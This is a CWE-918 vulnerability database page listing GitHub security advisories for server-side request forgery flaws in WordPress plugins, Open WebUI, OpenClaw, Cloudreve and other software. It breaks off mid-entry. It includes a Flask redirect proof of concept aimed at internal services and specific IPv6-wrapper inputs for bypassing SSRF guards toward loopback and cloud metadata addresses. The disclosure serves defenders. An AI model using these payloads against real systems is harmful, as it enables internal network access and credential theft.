Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6582 vulnerabilities reference this CWE, most recent first.

GHSA-JR9C-873V-948H

Vulnerability from github – Published: 2026-08-22 09:30 – Updated: 2026-08-22 09:30
VLAI
Details

The Mailgun for WordPress plugin for WordPress is vulnerable to Server-Side Request Forgery (SSRF) via path traversal in versions up to and including 2.2.0. This is due to insufficient input validation in the add_list() function, which accepts user-controlled array keys from $_POST['addresses'], passes them through sanitize_text_field(). This makes it possible for unauthenticated attackers to make authenticated POST requests to any Mailgun API endpoint using the WordPress site's API key, including creating inbound email-forwarding routes that can intercept password reset emails, leading to administrator account takeover.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-78003"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-22T09:16:53Z",
    "severity": "CRITICAL"
  },
  "details": "The Mailgun for WordPress plugin for WordPress is vulnerable to Server-Side Request Forgery (SSRF) via path traversal in versions up to and including 2.2.0. This is due to insufficient input validation in the add_list() function, which accepts user-controlled array keys from $_POST[\u0027addresses\u0027], passes them through sanitize_text_field(). This makes it possible for unauthenticated attackers to make authenticated POST requests to any Mailgun API endpoint using the WordPress site\u0027s API key, including creating inbound email-forwarding routes that can intercept password reset emails, leading to administrator account takeover.",
  "id": "GHSA-jr9c-873v-948h",
  "modified": "2026-08-22T09:30:25Z",
  "published": "2026-08-22T09:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78003"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/mailgun/tags/2.1.10/mailgun.php#L259"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/mailgun/tags/2.1.10/mailgun.php#L323"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/mailgun/tags/2.1.10/mailgun.php#L331"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/mailgun/tags/2.1.10/mailgun.php#L557"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/mailgun/trunk/mailgun.php#L259"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/mailgun/trunk/mailgun.php#L323"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/mailgun/trunk/mailgun.php#L331"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/mailgun/trunk/mailgun.php#L557"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/110e888d-69fc-4682-b908-2b62288c5227?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JRCQ-4CCJ-6FR8

Vulnerability from github – Published: 2026-07-17 18:31 – Updated: 2026-07-17 18:31
VLAI
Details

Dendrite through 0.13.8 contains a server-side request forgery vulnerability that allows unauthenticated attackers to cause the server to open outbound TLS connections to arbitrary hosts and ports by supplying an unvalidated serverName parameter to the legacy media download endpoint. Attackers can exploit distinguishable error response classes and leaked internal IP addresses in error messages to perform blind port scanning and enumerate internal network topology.

Severity
5.8 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-63096"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-17T16:17:16Z",
    "severity": "MODERATE"
  },
  "details": "Dendrite through 0.13.8 contains a server-side request forgery vulnerability that allows unauthenticated attackers to cause the server to open outbound TLS connections to arbitrary hosts and ports by supplying an unvalidated serverName parameter to the legacy media download endpoint. Attackers can exploit distinguishable error response classes and leaked internal IP addresses in error messages to perform blind port scanning and enumerate internal network topology.",
  "id": "GHSA-jrcq-4ccj-6fr8",
  "modified": "2026-07-17T18:31:24Z",
  "published": "2026-07-17T18:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63096"
    },
    {
      "type": "WEB",
      "url": "https://github.com/geo-chen/oss/blob/main/dendrite.md#finding-2-unauthenticated-ssrf-and-internal-port-scanner-via-legacy-_matrixmediar0download"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/dendrite-ssrf-via-unauthenticated-legacy-media-download-endpoint"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-JRFP-M64G-PCWV

Vulnerability from github – Published: 2026-06-17 17:55 – Updated: 2026-07-20 21:07
VLAI
Summary
Open WebUI: SSRF Protection Bypass in Playwright Web Loader via HTTP Redirects
Details

Summary

The SafePlaywrightURLLoader implements a validate_url function to prevent SSRF attacks by checking the IP address of the user-provided URL. However, this validation is performed only on the initial URL.

Since Playwright automatically follows HTTP redirects (301/302) by default, an attacker can bypass the validation by providing a safe URL that redirects to a restricted internal network address (e.g., localhost, Docker container network, or Cloud Metadata).

This allows the application to access internal services despite ENABLE_RAG_LOCAL_WEB_FETCH being set to False

Details

Root Cause

The application validates the initial user-provided URL using self._safe_process_url_sync(url). This correctly resolves the domain and ensures it does not point to a private IP.

The application then calls page.goto(url). By default, Playwright automatically follows HTTP redirects (301/302).

The Bypass: If the destination server returns a redirect to an internal IP (e.g., 127.0.0.1 or 169.254.169.254), the browser follows it without re-validating the new destination. The initial validation is bypassed because it only checked the first URL, not the entire redirect chain.

for url in self.urls:
    try:
        self._safe_process_url_sync(url)  
        page = browser.new_page()
        response = page.goto(url, timeout=self.playwright_timeout)  #this
        if response is None:
            raise ValueError(...)
        text = self.evaluator.evaluate(page, browser, response)

PoC

(This PoC uses Docker to easily demonstrate internal network access (accessing a container by service name). However, the vulnerability is NOT tied to Docker.)

  1. Ensure the Open WebUI is configured with the following environment variables. The vulnerability is specific to the Playwright engine.
  2. ENABLE_RAG_LOCAL_WEB_FETCH=False (Default)
  3. RAG_WEB_LOADER_ENGINE=playwright
  4. Setup and run attack server
  5. In Open WebUI, use the "Web Search" or "URL Loader" feature.
  6. Input the attacker's URL (e.g., http://attacker-ip/).
# attack_server.py
from flask import Flask, redirect
app = Flask(__name__)

@app.route('/')
def attack():
    # Redirect to the Open WebUI container's internal port
    return redirect("http://open-webui:8080/api/version", code=302)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

image

The Playwright browser follows the redirect to the internal address (http://open-webui:8080/api/version)

Impact

  • Cloud Environments: Access to Instance Metadata Service (IMDS) to steal cloud credentials.
  • Intranet/On-Premise: Scanning internal networks and accessing unauthenticated internal tools.
  • Container Environments: Accessing other containers within the same network.

Recommended Patch

implement a request interceptor using Playwright's page.route. This ensures all requests, including redirects, are validated before connection.

apply the following logic to both lazy_load and alazy_load methods:

# async context
async def intercept_route(route):
    try:
        await run_in_threadpool(validate_url, route.request.url)
        await route.continue_()
    except Exception:
        await route.abort()

await page.route("**/*", intercept_route)
response = await page.goto(url, timeout=self.playwright_timeout)
Severity
7.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54018"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T17:55:44Z",
    "nvd_published_at": "2026-06-23T18:18:07Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe SafePlaywrightURLLoader implements a validate_url function to prevent SSRF attacks by checking the IP address of the user-provided URL. However, this validation is performed only on the initial URL.\n\nSince Playwright automatically follows HTTP redirects (301/302) by default, an attacker can bypass the validation by providing a safe URL that redirects to a restricted internal network address (e.g., localhost, Docker container network, or Cloud Metadata).\n\nThis allows the application to access internal services despite ENABLE_RAG_LOCAL_WEB_FETCH being set to False\n\n### Details\nRoot Cause\n\nThe application validates the initial user-provided URL using self._safe_process_url_sync(url). This correctly resolves the domain and ensures it does not point to a private IP.\n\nThe application then calls page.goto(url). By default, Playwright automatically follows HTTP redirects (301/302).\n\nThe Bypass: If the destination server returns a redirect to an internal IP (e.g., 127.0.0.1 or 169.254.169.254), the browser follows it without re-validating the new destination. The initial validation is bypassed because it only checked the first URL, not the entire redirect chain.\n\n```python\nfor url in self.urls:\n    try:\n        self._safe_process_url_sync(url)  \n        page = browser.new_page()\n        response = page.goto(url, timeout=self.playwright_timeout)  #this\n        if response is None:\n            raise ValueError(...)\n        text = self.evaluator.evaluate(page, browser, response)\n```\n\n### PoC\n(This PoC uses Docker to easily demonstrate internal network access (accessing a container by service name). However, the vulnerability is NOT tied to Docker.)\n\n1. Ensure the Open WebUI is configured with the following environment variables. The vulnerability is specific to the Playwright engine.\n2. ENABLE_RAG_LOCAL_WEB_FETCH=False (Default)\n3. RAG_WEB_LOADER_ENGINE=playwright\n4. Setup and run attack server\n5. In Open WebUI, use the \"Web Search\" or \"URL Loader\" feature.\n6. Input the attacker\u0027s URL (e.g., http://attacker-ip/).\n\n```python\n# attack_server.py\nfrom flask import Flask, redirect\napp = Flask(__name__)\n\n@app.route(\u0027/\u0027)\ndef attack():\n    # Redirect to the Open WebUI container\u0027s internal port\n    return redirect(\"http://open-webui:8080/api/version\", code=302)\n\nif __name__ == \u0027__main__\u0027:\n    app.run(host=\u00270.0.0.0\u0027, port=80)\n```\n\u003cimg width=\"580\" height=\"192\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4600dbb5-a81d-4e58-b787-afe04fe59d6e\" /\u003e\n\nThe Playwright browser follows the redirect to the internal address (http://open-webui:8080/api/version)\n\n### Impact\n+ Cloud Environments: Access to Instance Metadata Service (IMDS) to steal cloud credentials.\n+ Intranet/On-Premise: Scanning internal networks and accessing unauthenticated internal tools.\n+ Container Environments: Accessing other containers within the same network.\n\n### Recommended Patch\nimplement a request interceptor using Playwright\u0027s page.route. This ensures all requests, including redirects, are validated before connection.\n\napply the following logic to both lazy_load and alazy_load methods:\n\n```python\n# async context\nasync def intercept_route(route):\n    try:\n        await run_in_threadpool(validate_url, route.request.url)\n        await route.continue_()\n    except Exception:\n        await route.abort()\n\nawait page.route(\"**/*\", intercept_route)\nresponse = await page.goto(url, timeout=self.playwright_timeout)\n```",
  "id": "GHSA-jrfp-m64g-pcwv",
  "modified": "2026-07-20T21:07:58Z",
  "published": "2026-06-17T17:55:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-jrfp-m64g-pcwv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54018"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-jrfp-m64g-pcwv"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/open-webui/PYSEC-2026-2743.yaml"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: SSRF Protection Bypass in Playwright Web Loader via HTTP Redirects"
}

GHSA-JRVC-8FF5-2F9F

Vulnerability from github – Published: 2026-02-17 21:42 – Updated: 2026-02-20 16:44
VLAI
Summary
OpenClaw has a SSRF guard bypass via full-form IPv4-mapped IPv6 (loopback / metadata reachable)
Details

Summary

OpenClaw's SSRF protection could be bypassed using full-form IPv4-mapped IPv6 literals such as 0:0:0:0:0:ffff:7f00:1 (which is 127.0.0.1). This could allow requests that should be blocked (loopback / private network / link-local metadata) to pass the SSRF guard.

  • Vulnerable component: SSRF guard (src/infra/net/ssrf.ts)
  • Issue type: SSRF protection bypass

Affected Packages / Versions

  • Package: openclaw (npm)
  • Vulnerable: <= 2026.2.13
  • Patched: >= 2026.2.14 (planned next release)

Details

The SSRF guard's IP classification did not consistently detect private IPv4 addresses when they were embedded in IPv6 using full-form IPv4-mapped IPv6 notation. As a result, inputs like 0:0:0:0:0:ffff:7f00:1 could bypass loopback/private network blocking.

Fix Commit(s)

  • c0c0e0f9aecb913e738742f73e091f2f72d39a19

Release Process Note

This advisory is kept in draft state with the patched version set to the planned next release. Once openclaw@2026.2.14 is published to npm, the only remaining step should be to publish this advisory.

Thanks @yueyueL for reporting.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26324"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-17T21:42:40Z",
    "nvd_published_at": "2026-02-19T23:16:25Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nOpenClaw\u0027s SSRF protection could be bypassed using full-form IPv4-mapped IPv6 literals such as `0:0:0:0:0:ffff:7f00:1` (which is `127.0.0.1`). This could allow requests that should be blocked (loopback / private network / link-local metadata) to pass the SSRF guard.\n\n- Vulnerable component: SSRF guard (`src/infra/net/ssrf.ts`)\n- Issue type: SSRF protection bypass\n\n### Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Vulnerable: `\u003c= 2026.2.13`\n- Patched: `\u003e= 2026.2.14` (planned next release)\n\n### Details\n\nThe SSRF guard\u0027s IP classification did not consistently detect private IPv4 addresses when they were embedded in IPv6 using full-form IPv4-mapped IPv6 notation. As a result, inputs like `0:0:0:0:0:ffff:7f00:1` could bypass loopback/private network blocking.\n\n### Fix Commit(s)\n\n- `c0c0e0f9aecb913e738742f73e091f2f72d39a19`\n\n### Release Process Note\n\nThis advisory is kept in draft state with the patched version set to the planned next release. Once `openclaw@2026.2.14` is published to npm, the only remaining step should be to publish this advisory.\n\nThanks @yueyueL for reporting.",
  "id": "GHSA-jrvc-8ff5-2f9f",
  "modified": "2026-02-20T16:44:46Z",
  "published": "2026-02-17T21:42:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-jrvc-8ff5-2f9f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26324"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/c0c0e0f9aecb913e738742f73e091f2f72d39a19"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/releases/tag/v2026.2.14"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenClaw has a SSRF guard bypass via full-form IPv4-mapped IPv6 (loopback / metadata reachable)"
}

GHSA-JRVW-HV7X-27P4

Vulnerability from github – Published: 2026-03-21 03:31 – Updated: 2026-03-21 03:31
VLAI
Details

The WowOptin: Next-Gen Popup Maker plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.4.29. This is due to the plugin exposing a publicly accessible REST API endpoint (optn/v1/integration-action) with a permission_callback of __return_true that passes user-supplied URLs directly to wp_remote_get() and wp_remote_post() in the Webhook::add_subscriber() method without any URL validation or restriction. The plugin does not use wp_safe_remote_get/post which provide built-in SSRF protection. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application, which can be used to query and modify information from internal services.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-4302"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-21T02:16:18Z",
    "severity": "HIGH"
  },
  "details": "The WowOptin: Next-Gen Popup Maker plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.4.29. This is due to the plugin exposing a publicly accessible REST API endpoint (optn/v1/integration-action) with a permission_callback of __return_true that passes user-supplied URLs directly to wp_remote_get() and wp_remote_post() in the Webhook::add_subscriber() method without any URL validation or restriction. The plugin does not use wp_safe_remote_get/post which provide built-in SSRF protection. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application, which can be used to query and modify information from internal services.",
  "id": "GHSA-jrvw-hv7x-27p4",
  "modified": "2026-03-21T03:31:15Z",
  "published": "2026-03-21T03:31:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4302"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/optin/tags/1.4.23/frontend/class-rest-frontend.php#L44"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/optin/tags/1.4.23/frontend/class-rest-frontend.php#L55"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/optin/tags/1.4.23/includes/integrations/implementations/class-webhook.php#L38"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/optin/tags/1.4.23/includes/integrations/implementations/class-webhook.php#L45"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/optin/trunk/frontend/class-rest-frontend.php#L44"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/optin/trunk/frontend/class-rest-frontend.php#L55"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/optin/trunk/includes/integrations/implementations/class-webhook.php#L38"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/optin/trunk/includes/integrations/implementations/class-webhook.php#L45"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3484392%40optin\u0026new=3484392%40optin\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b1c3e480-0221-4913-bcce-f34ded9edca8?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JRWM-4975-3G9G

Vulnerability from github – Published: 2024-11-22 21:32 – Updated: 2024-11-22 21:32
VLAI
Details

PostHog database_schema Server-Side Request Forgery Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of PostHog. Authentication is required to exploit this vulnerability.

The specific flaw exists within the implementation of the database_schema method. The issue results from the lack of proper validation of a URI prior to accessing resources. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-25351.

Severity
7.1 (High)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-9710"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-22T21:15:24Z",
    "severity": "HIGH"
  },
  "details": "PostHog database_schema Server-Side Request Forgery Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of PostHog. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the implementation of the database_schema method. The issue results from the lack of proper validation of a URI prior to accessing resources. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-25351.",
  "id": "GHSA-jrwm-4975-3g9g",
  "modified": "2024-11-22T21:32:19Z",
  "published": "2024-11-22T21:32:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9710"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PostHog/posthog/pull/25388"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-24-1383"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JV57-8H35-3R6R

Vulnerability from github – Published: 2026-10-06 21:31 – Updated: 2026-10-09 15:31
VLAI
Details

A Server-Side Request Forgery (SSRF) vulnerability was identified in GitHub Enterprise Server that allowed a repository contributor to cause the appliance to issue requests to attacker-controlled internal hosts, which could be chained to achieve remote code execution on the appliance. The secret scanning validator for GCP service account credentials trusted the token endpoint embedded in a committed credential and issued a request to it without restricting the destination. Exploitation required an authenticated user with permission to push to a repository on an instance with GitHub Advanced Security and secret scanning validity checks enabled, a non-default configuration. This vulnerability affected GitHub Enterprise Server 3.20, 3.21, and 3.22 and was fixed in versions 3.20.9, 3.21.7, and 3.22.2. This vulnerability was reported through the GitHub Bug Bounty program.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-96890"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-06T19:18:17Z",
    "severity": "HIGH"
  },
  "details": "A Server-Side Request Forgery (SSRF) vulnerability was identified in GitHub Enterprise Server that allowed a repository contributor to cause the appliance to issue requests to attacker-controlled internal hosts, which could be chained to achieve remote code execution on the appliance. The secret scanning validator for GCP service account credentials trusted the token endpoint embedded in a committed credential and issued a request to it without restricting the destination. Exploitation required an authenticated user with permission to push to a repository on an instance with GitHub Advanced Security and secret scanning validity checks enabled, a non-default configuration. This vulnerability affected GitHub Enterprise Server 3.20, 3.21, and 3.22 and was fixed in versions 3.20.9, 3.21.7, and 3.22.2. This vulnerability was reported through the GitHub Bug Bounty program.",
  "id": "GHSA-jv57-8h35-3r6r",
  "modified": "2026-10-09T15:31:20Z",
  "published": "2026-10-06T21:31:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96890"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.20/admin/release-notes#3.20.9"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.21/admin/release-notes#3.21.7"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.22/admin/release-notes#3.22.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-JV7J-Q5W4-2QWR

Vulnerability from github – Published: 2023-03-01 09:30 – Updated: 2023-03-10 18:30
VLAI
Details

Unauthenticated server side request forgery in HPE Serviceguard Manager

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-37938"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-01T08:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Unauthenticated server side request forgery in HPE Serviceguard Manager",
  "id": "GHSA-jv7j-q5w4-2qwr",
  "modified": "2023-03-10T18:30:22Z",
  "published": "2023-03-01T09:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37938"
    },
    {
      "type": "WEB",
      "url": "https://support.hpe.com/hpesc/public/docDisplay?docLocale=en_US\u0026docId=hpesbmu04452en_us"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JVGM-HV8G-P8FQ

Vulnerability from github – Published: 2025-09-09 18:31 – Updated: 2026-04-01 18:36
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in FWDesign Ultimate Video Player allows Server Side Request Forgery. This issue affects Ultimate Video Player: from n/a through 10.1.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-49430"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-09T17:15:47Z",
    "severity": "HIGH"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in FWDesign Ultimate Video Player allows Server Side Request Forgery. This issue affects Ultimate Video Player: from n/a through 10.1.",
  "id": "GHSA-jvgm-hv8g-p8fq",
  "modified": "2026-04-01T18:36:08Z",
  "published": "2025-09-09T18:31:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49430"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/fwduvp/vulnerability/wordpress-ultimate-video-player-plugin-10-1-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JVH5-97XG-V99F

Vulnerability from github – Published: 2026-09-22 20:40 – Updated: 2026-09-22 20:40
VLAI
Summary
Cloudreve: SSRF guard bypass: checkIP does not decode IPv6-transition wrappers (NAT64, IPv4-compatible, 6to4) reaching internal and cloud-metadata addresses
Details

Summary

Cloudreve's server-side request forgery guard ValidateExternalURL (pkg/request/ssrf.go) resolves a user-supplied URL host and rejects it when any resolved IP is a loopback, private, link-local, multicast, unspecified, CGNAT, or the cloud-metadata address. The classification is performed by checkIP, which uses Go's net.IP builtins (IsLoopback, IsPrivate, IsLinkLocalUnicast, ...) directly on the resolved address. These builtins inspect only the outer IPv6 address and do not decode IPv4-in-IPv6 transition wrappers. An attacker who controls a hostname's AAAA record (or, on a DNS64/NAT64 network, any hostname) can point the remote-download URL at a NAT64 well-known-prefix address (64:ff9b::a.b.c.d, RFC 6052), an IPv4-compatible address (::a.b.c.d, RFC 4291), or a 6to4 address (2002:AABB:CCDD::, RFC 3056) that wraps an internal IPv4. Go classifies these wrappers as ordinary global IPv6 addresses, so checkIP accepts them; the network then delivers the request to the embedded internal IPv4 (loopback, RFC 1918, or the cloud instance metadata service 169.254.169.254). This bypasses the SSRF guard that was added to block direct access to internal services.

Affected component and versions

  • Component: pkg/request/ssrf.go (ValidateExternalURL / checkIP), reached from the remote-download workflow pkg/filemanager/workflows/remote_download.go (RemoteDownloadTask.createDownloadTask, which passes the user-supplied SrcUri to ValidateExternalURL).
  • Affected: Cloudreve <= 4.17.0 (latest release at time of report) and current main.
  • Reachable by an authenticated remote-download user; administrative privileges are not required.

